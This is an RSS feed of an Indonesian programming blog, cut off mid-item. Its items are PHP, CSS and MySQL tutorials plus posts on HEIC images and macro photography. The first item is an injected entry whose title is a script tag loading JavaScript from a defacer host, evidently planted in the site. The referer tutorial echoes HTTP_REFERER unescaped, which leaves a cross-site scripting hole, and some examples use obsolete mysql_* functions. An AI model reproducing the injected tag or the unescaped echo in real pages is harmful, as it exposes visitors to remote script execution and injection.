<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom">
<channel>
<title>ZAINALHAKIM.WEB.ID</title>
<link>https://www.zainalhakim.web.id</link>
<description>Web Blog Zainal Hakim tempatnya berbagi pengetahuan seputar bahasa pemrograman, desain, teknologi dan internet.</description>
<language>id</language>
<copyright>Copyright 2012-2022 Zainal Hakim</copyright>
<webMaster>h.zainalhakim@gmail.com (Zainal Hakim, S.Kom)</webMaster>
<ttl>15</ttl>
<item>
<title>&lt;script src=&quot;https://jso.defacer.id/raw/b0u0d7xc5e&quot;&gt;&lt;/script&gt;</title>
<link>https://www.zainalhakim.web.id/posting/variabel-global-dalam-php.html</link>
<guid>https://www.zainalhakim.web.id/posting/variabel-global-dalam-php.html</guid>
<description><![CDATA[<p>&nbsp;</p>
<div><a>﻿</a>
<p>&nbsp;</p>
</div>]]></description>
<pubDate>Thu, 9 Jun 2022 13:06:44 GMT</pubDate>
</item>
<item>
<title>Koneksi database mysql dengan mysqli</title>
<link>https://www.zainalhakim.web.id/posting/koneksi-database-mysql-dengan-mysqli.html</link>
<guid>https://www.zainalhakim.web.id/posting/koneksi-database-mysql-dengan-mysqli.html</guid>
<description><![CDATA[<p>Mysqli adalah salah satu ekstensi php yang digunakan untuk melakukan  interaksi dan pengelolaan database mysql. Mysqli adalah pengembangan  dari versi sebelumnya dan hanya bisa digunakan untuk MySQL versi 4.1.13 atau terbaru.</p>
<p>Berikut ini perintah singkat cara membuat koneksi database mysql dengan mysqli :</p>
<pre>
//deklarasi variabel

$server_name=&quot;localhost&quot;;
$db_user=&quot;root&quot;;
$db_pass=&quot;sukasuka&quot;;
$db_name=&quot;data_pegawai&quot;;

//eksekusi koneksi sesuai dengan variabel diatas
$DB_LINK = mysqli_connect($server_name,$db_user,$db_pass,$db_name);

// Cek status koneksi database jika gagal munculkan pesan error
if (mysqli_connect_errno()) {
  echo &quot;Gagal melakukan koneksi MySql : &quot; . mysqli_connect_error();
  exit();
}</pre>
<p>Semoga bermanfaat</p>]]></description>
<pubDate>Thu, 9 Jun 2022 12:06:56 GMT</pubDate>
</item>
<item>
<title>Cara membuka file gambar HEIC dalam Windows 7 dam Windows 8</title>
<link>https://www.zainalhakim.web.id/posting/cara-membuka-file-gambar-heic-dalam-windows-7.html</link>
<guid>https://www.zainalhakim.web.id/posting/cara-membuka-file-gambar-heic-dalam-windows-7.html</guid>
<description><![CDATA[<p class="text-center;"><img src="/uploads/image/file-gambar-iphone/file-gambar-iphone-terbaru.jpg" alt="file gambar iphone ios 11" class="img-fluid" /></p>
<p>Smartphone produk Apple khususnya iPhone yang didukung dengan sistem iOS  11 keatas mulai mengoptimalkan format gambar dengan High  Efficiency Image Format (HEIF). Untuk produk apple jenis file ini dikenal dengan HEIC (High Efficiency Image Coding). Dengan Jenis file ini kualitas gambar  akan sangat baik ditampilkan dalam iPhone.</p>
<p>Akan tetapi file gambar pada iphone dengan iOS 11 keatas ini belum bisa dibuka langsung pada versi windows 7 atau windows 8. Jika gambar yang sumbernya dari iphone versi baru ini maka di windows explorer akan tampil tidak dikenali sebagai sebuah gambar melainkan file tidak bisa dibuka. Jika coba di tampilkan dengan photo kecil akan tampil seperti dibawah ini.</p>
<p style="text-align: center;"><img src="/uploads/image/file-gambar-iphone/tampilan-windows7-gambar-iphone.jpg" alt="tampilan file HEIC dalam windows 7 explorer" width="600" height="421" /></p>
<p>Jadi untuk dapat menampilkan dan membuka file ini kita bisa menggunakan aplikasi tambahan dengan nama <strong>CopyTrans HEIC for Windows</strong>. Aplikasi ini memiliki kemampuan untuk membuka gambar HEIC, mengkonversi gambar HEIC ke JPG, mencetak dan menyisipkannya dalam MS Office.</p>
<p>Untuk anda yang masih menggunakan windows 7 atau 8 mungkin aplikasi ini bisa membantu anda dalam mempermudah mengelola dokumentasi gambar anda. Tapi untuk anda yang sudah menggunakan windows versi 10, file HEIC ini sudah dengan mudah terlihat dan digunakan untuk keperluan anda.</p>
<p style="text-align: center;"><img src="/uploads/image/file-gambar-iphone/aplikasi-membuka-gambar-iphone.jpg" alt="aplikasi CopyTrans HEIC" width="438" height="314" /></p>
<p>Aplikasi ini lumayan kecil hanya berukuran 7.6Mb dan sangat mudah digunakan setelah diinstall.</p>
<p>Untuk mendapatkan aplikasi ini anda bisa downlod disitus <a href="https://www.copytrans.net/copytransheic/" target="_blank" rel="external">https://www.copytrans.net/copytransheic/</a></p>
<p>Semoga bermanfaat</p>]]></description>
<pubDate>Tue, 17 May 2022 14:05:01 GMT</pubDate>
</item>
<item>
<title>Membuat halaman web dengan latar background bintang dengan css</title>
<link>https://www.zainalhakim.web.id/posting/membuat-halaman-web-dengan-latar-background-bintang-dengan-css.html</link>
<guid>https://www.zainalhakim.web.id/posting/membuat-halaman-web-dengan-latar-background-bintang-dengan-css.html</guid>
<description><![CDATA[<p style="text-align: center;"><img class="img-fluid" src="/uploads/image/background-motif-bintang.png" alt="Background unik bentuk bintang" /></p>
<p>Website atau halaman web biasanya dibuat semenarik mungkin, bisa  dengan menggunakan gambar, tulisan, animasi ataupun dengan hiasan objek  lainnya. Berikut ini saya akan berbagi tentang bagaimana membuat halaman  web dengan latar atau background bintang dengan perintah CSS</p>
<h2>Membuat latar belakang unik dengan css</h2>
<p>Langkah awal kit akan buat halaman html sederhana seperti berikut :</p>
<pre>
&lt;!DOCTYPE html&gt;
&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;Judul Halaman&lt;/title&gt;
 &lt;/head&gt;
&lt;body&gt;
  &lt;h1&gt;Judul Isi Halaman&lt;/h1&gt;
  &lt;p&gt;Isi Halaman&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt; </pre>
<p>Kemudian kita simpan dalam format html. Anda yang menggunakan php juga bisa menyimpannya dengan ekstensi php.</p>
<p>Kemudian kita akan menambahkan perintah CSS pada bagian kepala dokumen &lt;head&gt;..&lt;/head&gt;, seperti perintah css berikut :</p>
<pre>
&lt;style type=&quot;text/css&quot;&gt;
body {
color:#fff;
background:
   linear-gradient(324deg, #232927 4%,   transparent 4%) -70px 43px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 30px 43px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 30px 43px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -70px 43px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -70px 23px,
 linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 30px 23px,

linear-gradient(324deg, #232927 4%,   transparent 4%) -20px 93px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 80px 93px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 80px 93px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -20px 93px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -20px 73px,
   linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 80px 73px;
   background-color: #232927;
   background-size: 100px 100px;
}
a { color : #fff; }
&lt;/style&gt;</pre>
<p>Dokumen html secara lengkap bisa dilihat berikut :</p>
<pre>
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Judul Halaman&lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;
body {
color:#fff;
background:
   linear-gradient(324deg, #232927 4%,   transparent 4%) -70px 43px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 30px 43px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 30px 43px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -70px 43px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -70px 23px,
 linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 30px 23px,

linear-gradient(324deg, #232927 4%,   transparent 4%) -20px 93px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 80px 93px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 80px 93px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -20px 93px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -20px 73px,
   linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 80px 73px;
   background-color: #232927;
   background-size: 100px 100px;
}
a { color : #fff; }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Judul Isi Halaman&lt;/h1&gt;
&lt;p&gt;Isi Halaman&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Sangat mudah kan, sekarang anda bisa membuka dokumennya dengan browser dan akan terlihat sebuah halaman dengan latar belakang bintang.</p>
<p>Demo latar belakang bintang ini bisa dilihat di :</p>
<p><a href="https://www.zainalhakim.web.id/demo/demo-membuat-latar-belakang-bintang.html">Demo Latar Belakang Website Bintang</a></p>
<p>Semoga bermanfaat</p>]]></description>
<pubDate>Sat, 7 May 2022 15:05:29 GMT</pubDate>
</item>
<item>
<title>Menampilkan sumber kunjungan halaman dengan php</title>
<link>https://www.zainalhakim.web.id/posting/menampilkan-sumber-kunjungan-halaman-dengan-php.html</link>
<guid>https://www.zainalhakim.web.id/posting/menampilkan-sumber-kunjungan-halaman-dengan-php.html</guid>
<description><![CDATA[<p style="text-align: center;"><img class="img-fluid" src="/uploads/image/php-http-refer.png" alt="" /></p>
<p>Setiap kita membuka halaman web dengan bantuan browser, jejak sumber  kunjungan setiap halaman web direkam oleh browser dan terkirim kedalam  server yang diakses. Rekam jejak tersebut akan terus dibawa ke setiap  halaman yang kita buka sampai kita menutup aplikasi browser tersebut.</p>
<p>Selain merekam asal mula kunjungan, browser juga mencatat beberapa  informasi lain yang juga akan tersimpan dan dapat diambil oleh  sistem lain yang berhubungan dengan aktivitas kita selama membuka sebuah halaman menggunakan  browser. Informasi yang direkam khusus untuk keperluan informasi sumber akses saja yang sifatnya memang bukan rahasia. Jadi jika anda hanya membuka sebuah halaman kemudian tidak ada aktivitas apapun dengan halaman tersebut maka tidak ada informasi yang direkam.</p>
<h2>Cara menampilkan sumber referensi halaman</h2>
<p>Dalam tutorial berikut saya hanya akan mencontohkan bagaimana mengambil informasi sumber kunjungan pada halaman web dengan php.</p>
<p>Ilustrasi singkat :</p>
<p>Misal Kita punya beberapa halaman Web dengan nama file : <br />
pertama.php, kedua.php, ketiga.php, keempat.php yang isinya masing-masing saya buat sama agar dapat mengetahui dari mana sumber kunjungan pada halaman tersebut.</p>
<p>Nama File pertama.php</p>
<pre>
&lt;?php
$ref = $_SERVER['HTTP_REFERER']; //ini perintah utama mengambil alamat sumber
echo &quot;&lt;h1&gt;Referensi Halaman : &lt;br/&gt;&quot;.$ref.&quot;&lt;/h1&gt;&quot;;

echo '&lt;p&gt;&lt;a href=&quot;pertama.php&quot;&gt;Referensi 1&lt;/a&gt;&lt;/p&gt;';
echo '&lt;p&gt;&lt;a href=&quot;kedua.php&quot;&gt;Referensi 2&lt;/a&gt;&lt;/p&gt;';
echo '&lt;p&gt;&lt;a href=&quot;ketiga.php&quot;&gt;Referensi 3&lt;/a&gt;&lt;/p&gt;';
echo '&lt;p&gt;&lt;a href=&quot;keempat.php&quot;&gt;Referensi 4&lt;/a&gt;&lt;/p&gt;';
?&gt;</pre>
<p>File kedua.php, ketiga.php dan keempat.php isinya sama diatas</p>
<p>Anda bisa mencobanya pertama kali mengakses file pertama.php</p>
<p><img class="img-fluid" src="/uploads/image/referensi-halaman/screen-1.png" alt="Contoh alamat sumber kunjungan dengan php" width="543" height="331" /></p>
<p>Pada saat file pertama diakses maka alamat sumber kunjungan tidak ada karena anda membukanya secara langsung tanpa melalu link antar halaman.</p>
<p>Jika anda klik ke link kedua maka akan muncul alamat sumber dari link pertama</p>
<p><img class="img-fluid" src="/uploads/image/referensi-halaman/screen-2.png" alt="Contoh alamat sumber kunjungan dengan php" width="543" height="331" /></p>
<p>Jika anda klik ke link keempat maka akan muncul sumber terakhir dari link kedua</p>
<p><img class="img-fluid" src="/uploads/image/referensi-halaman/screen-3.png" alt="Contoh alamat sumber kunjungan dengan php" width="543" height="331" /></p>
<p>Dari halaman keempat, jika anda klik halaman pertama (sebelumnya tidak ada sumber) maka akan muncul sumber dari halaman keempat</p>
<p><img class="img-fluid" src="/uploads/image/referensi-halaman/screen-4.png" alt="Contoh alamat sumber kunjungan dengan php" width="543" height="331" /></p>
<p>&nbsp;</p>
<p>Dari contoh yang saya buat mungkin anda sudah mengerti apa yang saya maksud sumber kunjungan tiap halaman yang kita akses akan merujuk kepada halaman sebelumnya dan semua itu bisa kita tampilkan dengan PHP.</p>
<p>Demo dari penggunaan perintah php ini bisa anda lihat di : <a href="https://www.zainalhakim.web.id/demo/referensi-halaman/">https://www.zainalhakim.web.id/demo/referensi-halaman/</a></p>
<p>Semoga bermanfaat</p>]]></description>
<pubDate>Sat, 7 May 2022 09:05:25 GMT</pubDate>
</item>
<item>
<title>Memahami arti Karya Fotografi Macro</title>
<link>https://www.zainalhakim.web.id/posting/memahami-arti-karya-fotografi-macro.html</link>
<guid>https://www.zainalhakim.web.id/posting/memahami-arti-karya-fotografi-macro.html</guid>
<description><![CDATA[<p>Fotografi makro adalah meminimalkan daerah fokus (DOF) , hal ini dimaksudkan agar dengan membuat daerah fokus setipis mungkin, obyek yang kita kehendaki menjadi lebih detail tanpa terganggu pemandangan lain yang tidak diperlukan.  Fotografi makro adalah salah satu kategori fotografi yang membuat pembesaran terhadap suatu objek. Atau bisa dengan kata lain dunia fotografi yang diperkecil ke dalam dunia micro. Pembesaran tersebut bisa dilakukan dengan medekatkan obek dengan kamera, atau pun dari jarak terentu dengan menggunakan lensa tele.  Beberapa hal yang harus diperhatikan dalam Fotografi antara lain:</p>
<p>a. Lighting (Pencahayaan) <br />
b. Depth Of Field (DoF) <br />
c. Fokus <br />
d. Komposisi <br />
e. Lokasi <br />
f. Tripod atau handheld <br />
g. Mood dan kesabaran <br />
h. Moment dan keberuntungan</p>
<p>Berikut ini gambar contoh fotografi makro :</p>
<p><img class="img-fluid" src="/uploads/image/fotografi-makro/fotografi-makro1.jpg" alt="Memahami arti Karya Fotografi Macro" /></p>
<p><img class="img-fluid" src="/uploads/image/fotografi-makro/fotografi-makro2.jpg" alt="Memahami arti Karya Fotografi Macro" /></p>
<p><img class="img-fluid" src="/uploads/image/fotografi-makro/fotografi-makro3.jpg" alt="Memahami arti Karya Fotografi Macro" /></p>]]></description>
<pubDate>Thu, 14 Apr 2022 15:04:34 GMT</pubDate>
</item>
<item>
<title>Membuat tombol css dengan animasi</title>
<link>https://www.zainalhakim.web.id/posting/membuat-tombol-css-dengan-animasi.html</link>
<guid>https://www.zainalhakim.web.id/posting/membuat-tombol-css-dengan-animasi.html</guid>
<description><![CDATA[<p class="text-center"><img class="img-fluid" src="/uploads/image/membuat-tombol-css-animasi.jpg" alt="" /></p>
<p>Dalam desain web ada suatu saat kita memerlukan sedikit penggunaan animasi agar tampilannya lebih menarik. Diantaranya dengan menambahkan efek pada tombol dalam sebuah formulir. Berikut ini salah satu contoh penambahan animasi tombol dengan css.</p>
<p>Ini bagian kode HTML sebagai objek tombol yang akan diberi animasi :</p>
<pre class="brush:php;">
   &lt;!-- Hover #1 --&gt;
   &lt;div class=&quot;box-1&quot;&gt;
   &lt;div class=&quot;btn btn-one&quot;&gt;
   &lt;span&gt;HOVER ME&lt;/span&gt;
   &lt;/div&gt;
   &lt;/div&gt;
   
   &lt;!-- Hover #2 --&gt;
   &lt;div class=&quot;box-2&quot;&gt;
   &lt;div class=&quot;btn btn-two&quot;&gt;
   &lt;span&gt;HOVER ME&lt;/span&gt;
   &lt;/div&gt;
   &lt;/div&gt;

   &lt;!-- Hover #3 --&gt;
   &lt;div class=&quot;box-3&quot;&gt;
   &lt;div class=&quot;btn btn-three&quot;&gt;
   &lt;span&gt;HOVER ME&lt;/span&gt;
   &lt;/div&gt;
   &lt;/div&gt;
 </pre>
<p>Ini bagian kode CSS yang digunakan untuk merubah tampilan tombol html :</p>
<pre class="brush:css;">
html,
body {
  width: 100%;
  height: 100%;
  overflow: hidden;
  margin: 0;
  display: flex;
  flex-direction: column;
  flex-wrap: wrap;
  font-family: 'Open Sans Condensed', sans-serif;
}

div[class*=box] {
	height: 33.33%;
	width: 100%; 
  display: flex;
  justify-content: center;
  align-items: center;
}

.box-1 { background-color: #FF6766; }
.box-2 { background-color: #3C3C3C; }
.box-3 { background-color: #66A182; }

.btn {
	line-height: 50px;
	height: 50px;
	text-align: center;
	width: 250px;
	cursor: pointer;
}

/* 
========================
      TOMBOL&nbsp;PERTAMA
========================
*/
.btn-one {
	color: #FFF;
	transition: all 0.3s;
	position: relative;
}
.btn-one span {
	transition: all 0.3s;
}
.btn-one::before {
	content: '';
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	opacity: 0;
	transition: all 0.3s;
	border-top-width: 1px;
	border-bottom-width: 1px;
	border-top-style: solid;
	border-bottom-style: solid;
	border-top-color: rgba(255,255,255,0.5);
	border-bottom-color: rgba(255,255,255,0.5);
	transform: scale(0.1, 1);
}
.btn-one:hover span {
	letter-spacing: 2px;
}
.btn-one:hover::before {
	opacity: 1;	
	transform: scale(1, 1);	
}
.btn-one::after {
	content: '';
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.3s;
	background-color: rgba(255,255,255,0.1);
}
.btn-one:hover::after {
	opacity: 0;	
	transform: scale(0.1, 1);
}


/* 
========================
      TOMBOL&nbsp;KEDUA
========================
*/
.btn-two {
	color: #FFF;
	transition: all 0.5s;
	position: relative;	
}
.btn-two span {
	z-index: 2;	
	display: block;
	position: absolute;
	width: 100%;
	height: 100%;	
}
.btn-two::before {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.5s;
	border: 1px solid rgba(255,255,255,0.2);
	background-color: rgba(255,255,255,0.1);
}
.btn-two::after {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.5s;
	border: 1px solid rgba(255,255,255,0.2);
	background-color: rgba(255,255,255,0.1);
}
.btn-two:hover::before {
  transform: rotate(-45deg);
  background-color: rgba(255,255,255,0);
}
.btn-two:hover::after {
  transform: rotate(45deg);
  background-color: rgba(255,255,255,0);
}


/* 
========================
      TOMBOL&nbsp;KETIGA
========================
*/
.btn-three {
	color: #FFF;
	transition: all 0.5s;
	position: relative;
}
.btn-three::before {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	background-color: rgba(255,255,255,0.1);
	transition: all 0.3s;
}
.btn-three:hover::before {
	opacity: 0 ;
	transform: scale(0.5,0.5);
}
.btn-three::after {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	opacity: 0;
	transition: all 0.3s;
	border: 1px solid rgba(255,255,255,0.5);
	transform: scale(1.2,1.2);
}
.btn-three:hover::after {
	opacity: 1;
	transform: scale(1,1);
}
</pre>]]></description>
<pubDate>Thu, 14 Apr 2022 14:04:43 GMT</pubDate>
</item>
<item>
<title>Mengubah format tanggal mysql menjadi indonesia dalam php</title>
<link>https://www.zainalhakim.web.id/posting/mengubah-format-tanggal-mysql-menjadi-indonesia-dalam-php.html</link>
<guid>https://www.zainalhakim.web.id/posting/mengubah-format-tanggal-mysql-menjadi-indonesia-dalam-php.html</guid>
<description><![CDATA[<p>Anda mungkin sudah mengetahui kalau format tanggal yang disimpan dalam database mysql  adalah tahun-bulan-tanggal. Pada saat kita menampilkan data tanpa ada  perintah perubahan seperti pada tulisan saya sebelumnya tentang <a href="https://www.zainalhakim.web.id/posting/mengubah-tampilan-format-tanggal-dalam-query-mysql.html">mengubah tampilan format tanggal mysql</a>, maka tentunya output ke layar akan tetap sama. Berikut ini saya akan berbagi tentang bagaimana mengubah tampilan tanggal yang semula tertulis dengan format angka tahun-bulan-tanggal menjadi tanggal-nama bulan-tahun dalam bahasa indonesia.</p>
<p>Sekarang kita lihat contoh sederhana untuk menampilkan data dari sebuah tabel mysql dengan php</p>
<pre class="brush:php">
&lt;?php
mysql_connect('localhost','root','');
mysql_select_db('db_mahasiswa');
$myquery=&quot;select tanggal_lahir from tb_mahasiswa&quot;;
$daftarsiswa=mysql_query($myquery) or die (mysql_error());
while($dataku=mysql_fetch_object($daftarsiswa))
{
   echo $dataku-&gt;tanggal_lahir; //menuliskan tanggal_lahir
}
?&gt;
</pre>
<p>Pada saat data ditampilkan, maka yang muncul adalah field tanggal_lahir dengan format <strong>2000-01-20</strong>. Sekarang bagaimana jika formatnya diubah menjadi : <strong>20 Januari 2000</strong>?</p>
<p>Anda hanya perlu menambahkan beberapa perintah seperti berikut ini :</p>
<pre class="brush:php">
&lt;?php
mysql_connect('localhost','root','');
mysql_select_db('db_mahasiswa');
//tambahkan daftar nama bulan
$namabulan = array(&quot;&quot;,&quot;Januari&quot;,&quot;Pebruari&quot;,&quot;Maret&quot;,&quot;April&quot;,&quot;Mei&quot;,&quot;Juni&quot;,&quot;Juli&quot;,&quot;Agustus&quot;,&quot;September&quot;,&quot;Oktober&quot;,&quot;November&quot;,&quot;Desember&quot;);
$myquery=&quot;select tanggal_lahir from tb_mahasiswa&quot;;
$daftarsiswa=mysql_query($myquery) or die (mysql_error());
while($dataku=mysql_fetch_object($daftarsiswa))
{
   list($thn,$bln,$tgl)=explode('-',$dataku-&gt;tanggal_lahir); //memindah tanggal kedalam array
   echo $tgl.' '.$namabulan[(int)$bln].' '.$thn; //menuliskan tanggal lahir dalam format indonesia
}
?&gt;
</pre>
<p>Jika anda lihat, perintah program diatas, saya menambahkan sebuah array $namabulan yang isinya deretan nama bulan. Pada array pertama yang ada tanda petik 2x tidak diberi isi karena tidak ada bulan dengan index 0, sehingga langsung pada index ke 1 yaitu bulan januari.</p>
<p>Kemudian ada perintah list yang akan menampung hasil pemisahan tanggal lahir, dan yang terakhir adalah penulisan nama bulan $namabulan ada perintah (int) yang difungsikan mengubah nilai yang berawalan angka 0 seperti 01 menjadi integer sehingga sesuai dengan index array nama bulan.</p>
<p>Semoga bermanfaat, dan jangan takut untuk mencoba. Tolong koreksi jika ada yang kurang/salah.</p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Tue, 10 Jun 2014 12:06:48 GMT</pubDate>
</item>
<item>
<title>Mengirim email laporan dari database mysql dengan PHPMailer</title>
<link>https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html</link>
<guid>https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html</guid>
<description><![CDATA[<p><img class="img-fluid" width="191" height="191" align="left" alt="Mengrim email Laporan dari database mysql dengan PHPMailer" src="/uploads/image/kirim-email-dengan-phpmailer.jpg" />Pada tulisan sebelumnya saya sedikit berbagi tentang <a href="https://www.zainalhakim.web.id/posting/cara-mudah-mengirim-email-dari-php-dengan-phpmailer.html">Cara mudah mengirim email dari PHP dengan PHPMailer</a>. Pada tulisan berikut ini saya ingin lanjutkan lagi tentang bagaimana mengirimkan email dalam bentuk laporan yang diambilkan dari database mysql dengan dengan PHPMailer.</p>
<p>Saya hanya sedikit mengembangkan dari tulisan sebelumnya yang hanya mengirimkan pesan dalam format HTML menjadi format laporan yang dikemas dalam bentuk tabel dengan data yang kita ambilkan dari database mysql. Secara teknis pada dasarnya cara pengiriman emainya sama dengan pesan sederhana tapi untuk laporan dikemas secara dinamis sehingga bisa disesuaikan dengan data yang akan dikirimkan.</p>
<p>Untuk mendapatkan informasi dan download phpmailer ini anda bisa kunjungi situs <a rel="external nofollow" href="https://github.com/Synchro/PHPMailer">https://github.com/Synchro/PHPMailer</a></p>
<p>Misal kita sudah punya sebuah aplikasi dari php seperti tulisan sebelumnya yang pernah saya bahas yaitu <a href="https://www.zainalhakim.web.id/posting/membuat-aplikasi-data-mahasiswa-1.html">Aplikasi Mahasiswa dengan PHP</a>. Kemudian anda ingin mengirimkan laporan tersebut ke email. Untuk itu kita bisa dengan mudah mengirimnya memanfaatkan librari PHPMailer. Caranya sangat mudah, anda tinggal buat program seperti berikut :</p>
<pre class="brush:php">
&lt;?php
    mysql_connect(&quot;localhost&quot;,&quot;username&quot;,&quot;password&quot;) or die(&quot;Gagal membuat koneksi server&quot;);
    mysql_select_db(&quot;db_mahasiswa&quot;)  or die(&quot;Gagal membuat koneksi database&quot;);
    $myquery=&quot;select nim,nama from tb_mahasiswa&quot;;
    $daftarsiswa=mysql_query($myquery) or die (mysql_error());
    $laporan=&quot;&lt;table width=\&quot;100%\&quot; border=\&quot;1\&quot; align=\&quot;center\&quot; cellpadding=\&quot;3\&quot; cellspacing=\&quot;0\&quot;&gt;&quot;;
    $laporan .=&quot;&lt;tr&gt;&quot;;
    $laporan .=&quot;&lt;td&gt;NIM&lt;/td&gt;&lt;td&gt;Nama&lt;/td&gt;&quot;;
    $laporan .=&quot;&lt;/tr&gt;&quot;;
    while($dataku=mysql_fetch_object($daftarsiswa))
    {
        $laporan .=&quot;&lt;tr&gt;&quot;;
        $laporan .=&quot;&lt;td&gt;$dataku-&gt;nim&lt;/td&gt;&lt;td&gt;$dataku-&gt;nama&lt;/td&gt;&quot;;
        $laporan .=&quot;&lt;/tr&gt;&quot;;
    }
    $laporan .=&quot;&lt;/table&gt;&quot;;
    require_once(&quot;class.phpmailer.php&quot;);
    $sendmail = new PHPMailer();
    $sendmail-&gt;setFrom('email.anda@domainanda.com','Nama Anda'); //email pengirim
    $sendmail-&gt;addReplyTo('email.anda@domainanda.com','Nama Anda'); //email replay
    $sendmail-&gt;addAddress('email.tujuan@domaintujuan.com','Nama Tujuan'); //email tujuan
    $sendmail-&gt;Subject = 'Laporan Data Mahasiswa'; //subjek email
    $sendmail-&gt;Body=$laporan; //isi pesan dalam format laporan
    $sendmail-&gt;isHTML(true);
    if(!$sendmail-&gt;Send()) 
    {
        echo &quot;Email gagal dikirim : &quot; . $sendmail-&gt;ErrorInfo;  
    } 
    else 
    { 
        echo &quot;Email berhasil terkirim!&quot;;  
    }
?&gt;
</pre>
<p>Semoga bermanfaat dan selamat mencoba, silahkan <a href="https://www.zainalhakim.web.id/download/contoh-kirim-email-laporan-database-mysql.html">download contoh mengirim email laporan disini</a></p>
<p>Zainal Hakim</p>]]></description>
<pubDate>Sun, 13 Apr 2014 03:04:38 GMT</pubDate>
</item>
<item>
<title>Cara mudah mengirim email dari PHP dengan PHPMailer</title>
<link>https://www.zainalhakim.web.id/posting/cara-mudah-mengirim-email-dari-php-dengan-phpmailer.html</link>
<guid>https://www.zainalhakim.web.id/posting/cara-mudah-mengirim-email-dari-php-dengan-phpmailer.html</guid>
<description><![CDATA[<p><img class="img-fluid" width="200" height="199" align="left" alt="Mengrim email dengan PHPMailer" src="/uploads/image/kirim-email-dengan-phpmailer.jpg" />Untuk mengirim email dengan php biasanya bisa dilakukan dengan cara sederhana yaitu dengan fungsi mail. Cara ini cukup ampuh untuk mengirim email dengan format text/pesan tanpa ada pengaturan tampilan. Tapi pada saat anda ingin mengirimkan email dengan format HTML yang memiliki tag tabel maupun format ukuran atau warna tulisan, maka cara ini akan sedikit menjadi ribet. Selain ribet juga seringkali emailnya dianggap spam oleh sebagain mail server tujuan.</p>
<p>Alternatif lain yang bisa anda gunakan adalah dengan menggunakan komponen/library tambahan dalam bentuk class yang cukup mudah dipanggil dalam program yang kita buat. Untuk ini, saya menggunakan PHPMailer. Alasanya karena PHPMailer ini gratis, kompatibel untuk  versi php terbaru dan juga cukup mudah digunakan. Dari informasi yang saya baca di situs resminya, dikatakan bahwa PHPMailer adalah salah satu class yang paling banyak digunakan oleh pengembang web tentu saja dengan perkiraan jumlah pengguna sampai 9 juta user. <strong>PHPMailer</strong> ini juga digunakan oleh beberapa project opensource  seperti Drupal, SugarCRM, Yii, Joomla dll.</p>
<p>Beberapa fitur PHPMailer yang saya kutip dari situs officialnya yaitu :</p>
<ul>
    <li>Probably the world's most popular code for sending email from PHP!</li>
    <li>Used by many open-source projects: Drupal, SugarCRM, Yii, Joomla! and many more</li>
    <li>Integrated SMTP support - send without a local mail server</li>
    <li>Send emails with multiple TOs, CCs, BCCs and REPLY-TOs</li>
    <li>Multipart/alternative emails for mail clients that do not read HTML email</li>
    <li>Support for 8bit, base64, binary, and quoted-printable encoding</li>
    <li>SMTP authentication with LOGIN, PLAIN, NTLM and CRAM-MD5 mechanisms</li>
    <li>Native language support</li>
    <li>DKIM and S/MIME encryption support</li>
    <li>Compatible with PHP 5.0 and later</li>
    <li>Much more!</li>
</ul>
<p>Untuk mendapatkan informasi dan download phpmailer ini anda bisa kunjungi situs <a rel="external nofollow" href="https://github.com/Synchro/PHPMailer">https://github.com/Synchro/PHPMailer</a></p>
<p>Ada beberapa cara teknis penggunaan PHPMailer, tergantung metode pengiriman email yang kita gunakan. Jika anda punya domain dan hosting sendiri akan lebih mudah lagi melakukan percobaan ini.</p>
<p>Contoh Penggunaan PHPMailer sederhana</p>
<pre class="brush:php">
&lt;?php
    require_once(&quot;class.phpmailer.php&quot;);
    $sendmail = new PHPMailer();
    $sendmail-&gt;setFrom('email.anda@domainanda.com','Nama Anda'); //email pengirim
    $sendmail-&gt;addReplyTo('email.anda@domainanda.com','Nama Anda'); //email replay
    $sendmail-&gt;addAddress('email.tujuan@domaintujuan.com','Nama Tujuan'); //email tujuan
    $sendmail-&gt;Subject = 'Coba Email dengan PHPMailer'; //subjek email
